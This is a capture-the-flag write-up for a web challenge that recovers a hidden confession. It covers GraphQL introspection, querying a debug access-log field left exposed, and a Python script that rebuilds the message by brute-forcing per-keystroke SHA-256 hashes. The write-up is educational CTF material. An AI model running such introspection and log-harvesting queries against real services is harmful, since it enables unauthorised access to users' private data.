Categories: web
Difficulty: easy
Someone confessed their dirtiest secret on this new website: https://confessions.flu.xxx Can you find out what it is?
We can enter a title and message to confess. We can publish this message. We have a preview that shows us the hash of the message and the message itself.
Looking at the source code of the page we find the javascript.
On input it uses a GraphQL endpoint to fetch the information.
const gql = async (query, variables={}) => {
let response = await fetch('/graphql', {
method: 'POST',
headers: {
'content-type': 'application/json',
},
body: JSON.stringify({
operationName: null,
query,
variables,
}),
});
let json = await response.json();
if (json.errors && json.errors.length) {
throw json.errors;
} else {
return json.data;
}
};
There is an example call:
gql('mutation Q($id: String) { confessionWithMessage(id: $id) { title, hash, message } }', { id });
I never used GraphQL before so the first thing I did was finding out how to
- not limit the query to a specific hash or id (didn't work)
- view the structure of the stored data
So I found this: https://graphql.org/learn/introspection/
Using { __schema { types { name fields { name description } } } }
with gql
in the developer console reveals some interesting information:
- There is a
Confession
andAccess
type - The
Query
type has an additionalaccessLog
field with the descriptionShow the resolver access log. TODO: remove before production release
- The
Access
type hastimestamp
name
andargs
fields
Let's query the accessLog
:
var data = await gql('{ accessLog { timestamp name args } }', { });
data.accessLog.forEach(x => console.log(x));
We see that all important information is redacted. Let's filter out the hashes:
var hashes = new Set(data.accessLog.map(x => JSON.parse(x.args).hash).filter(x => x));
hashes.forEach(hash => gql('query Q($hash: String) { confession(hash: $hash) { id, title, hash } }', { hash }).then(d => console.log(d.confession)));
We see that id
is always null. We also see that there are multiple entries with the title flag and a hash, our own tests are also visible. We didn't publish a single one, but there are multiple entries. While we were typing the hash was constantly changing.
Maybe the first hash is the hash of the first char, the second hash with two chars and so on. Let's verify that real quick:
>>> from hashlib import sha256
>>> alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-"
>>> for c in alphabet:
... if sha256(c.encode("utf-8")).hexdigest() == "252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111":
... print(c)
f
Okay, let's write a script to do the work for us and bruteforce the flag.
First, extract all hashes:
var out = [];
for (let hash of hashes) {
let data = await gql('query Q($hash: String) { confession(hash: $hash) { id, title, hash } }', { hash });
if (data.confession.title === "Flag") {
out[out.length] = data.confession.hash;
}
};
// wait some time
console.log(out);
Now we can export that to python and write a script:
from hashlib import sha256
hashes = [
"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111",
"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6",
"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83",
"807d0fbcae7c4b20518d4d85664f6820aafdf936104122c5073e7744c46c4b87",
"0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37",
"9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48",
"95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81",
"62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75",
"5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77",
"52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76",
"7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53",
"532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37",
"a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1",
"1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1",
"1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3",
"0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7",
"0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b",
"c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9",
"d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0",
"fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1",
"70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89",
"26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad",
"c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d",
"eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d",
"c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468",
"ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d",
"07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9",
"5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5"
]
chars = [chr(i).encode("utf-8") for i in range(256)]
solve = b''
for hash in hashes:
for char in chars:
if sha256(solve + char).hexdigest() == hash:
solve += char
print(solve.decode("utf-8"))
Running it:
$ python solve.py
flag{but_pls_d0nt_t3ll_any1}